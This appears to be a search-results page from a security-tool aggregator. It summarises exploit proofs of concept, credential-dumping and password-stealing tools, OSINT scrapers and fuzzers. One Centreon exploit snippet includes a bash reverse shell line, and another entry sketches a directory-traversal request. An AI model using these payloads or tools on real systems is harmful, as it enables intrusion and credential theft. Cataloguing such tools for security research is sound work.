2127765 matches found
through_the_wire
Through the Wire Through the Wire is a proof of concept exploit for CVE-2022-26134, an OGNL injection vulnerability affecting Atlassian Confluence Server and Data Center versions = 7.13.6 LTS and = 7.18.0 "Latest". This was originally a zero-day exploited in-the-wild. Vendor advisory Volexity...
awesome-hacker-search-engines
Awesome Hacker Search Engines A curated list of awesome search engines useful during Penetration testing, Vulnerability assessments, Red/Blue Team operations, Bug Bounty and more General • Servers • Vulnerabilities • Exploits • Attack surface • Code • Email addresses • Domains • URLs • DNS •...
node-ip-vex
node-ip-vex Ce projet exemple dépend du paquet npm node-ip qui est vulnérable à CVE-2024-29415. Cependant, comme notre projet n'utilise pas directement la fonction vulnérable .isPublic, il n'est pas exploitable pour CVE-2024-29415. Effectuer une analyse avec Docker Scout Je peux empaqueter mon...
fb_friend_list_scraper
Facebook Friend List Scraper OSINT tool to scrape names and usernames from large friend lists on Facebook, without being rate limited. hmu on Mastodon: @[email protected] Getting started: Install using pip: python -m pip install fb-friend-list-scraper Script is now installed as...
SAMDump
SAMDump Extrait les fichiers SAM et SYSTEM de Windows en utilisant le service de cliché instantané de volume VSS avec plusieurs options d'exfiltration et d'obfuscation XOR : Liste les clichés instantanés de volume à l'aide de VSS et en crée un si nécessaire Extrait les fichiers SAM et SYSTEM du...
FML-Network
FLNET2023: Realistic Network Intrusion Detection Dataset for Federated Learning Paper: FLNET2023: Realistic Network Intrusion Detection Dataset for Federated Learning Dataset: FLNET2023 Introduction FLNET2023 is a state-of-the-art benchmark dataset for intrusion detection systems, specifically fo...
OnionSearch
OnionSearch 👋 Salut ! Pour toute demande professionnelle ou collaboration, veuillez me contacter à l'adresse : [email protected] 📧 De préférence, utilisez votre email professionnel pour la correspondance. Gardons cela court et agréable, et tout en anglais ! Pour les dons BTC :...
phpinfo-files-leaks
Badges License MIT Installation 1. Install Python3 and pip Instructions Here If you can't figure this out, you shouldn't really be using this Install via pip root@kitploit: pip install phpinfo-file-leaks Run bellow command to check phpinfo-file-leaks -h Configurations 2. We integrated with the...
PortWitness
PortWitness v1.1 Written in Python2 This version of PortWitness has been developed in python2 in which modules like os,subprocess and sys etc have been used.The entire code is based on the concept of socket programming.Using Sockets we establish a connection with a web application to find out if...
domato
Domato 🍅 Un fuzzer DOM Écrit et maintenu par Ivan Fratric, [email protected] Copyright 2017 Google Inc. Tous droits réservés. Licencié sous la Licence Apache, version 2.0 la « Licence » ; vous ne pouvez utiliser ce fichier que conformément à la Licence. Vous pouvez obtenir une copie de la...
domato
Domato 🍅 A DOM fuzzer Written and maintained by Ivan Fratric, [email protected] Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 the "License"; you may not use this file except in compliance with the License. You may obtain a copy of the License ...
CVE-2023-40924
BUGAuthor: YE Affected version: Contec SolarView Compact 6.00 Vendor: https://www.contecinc.com/ Vulnerability File: downloader.php Description: Attacker exploit the vulnerability through downloader.php? The file parameter reads sensitive files through the directory pass. downloader.php?file...
WiFi-password-stealer
WiFi password stealer Have you ever seen a movie where a hacker plugs a seemingly ordinary USB drive into a computer and instantly steals data? Today, you'll be building a device that does exactly that. ⚠️ Disclaimer : All content in this project is intended for security research purposes only...
CVE-2023-22515
1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 Le 4 octobre 2023, Atlassian a publié un avis concernant CVE-2023-22515, une vulnérabilité critique affectant les instances sur site de Confluence Server et Confluence Data Center. Atlassian a initialement décrit cette vulnérabilité comme une escalade...
CVE-2019-19699
CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by...
CVE-2021-41277
CVE-2021-41277 simple program for exploit metabase install gem install httparty gem install colorize gem install timeout ruby CVE.rb...
CVE-2017-8759-Exploit-sample
CVE-2017-8759-Exploit-sample Running CVE-2017-8759 exploit sample. Flow of the exploit: Word macro runs in the Doc1.doc file. The macro downloads a badly formatted txt file over wsdl, which triggers the WSDL parser log. Then the parsing log results in running mshta.exe which in turn runs a...
SQLbit
SQL Blind Injection Tool A tool for blind SQL injections that uses multithreaded bitwise comparisons to find values of cells in SQL-tables. Works with SQLite at least and supports cookies. It's able to: Search cell values by columns in a table Search characters count in a cells by columns in a...
SharpLAPS
SharpLAPS The attribute ms-mcs-AdmPwd stores the clear-text LAPS password. This executable is made to be executed within Cobalt Strike session using execute-assembly. It will retrieve the LAPS password from the Active Directory. Require either: Account with ExtendedRight or Generic All Rights...
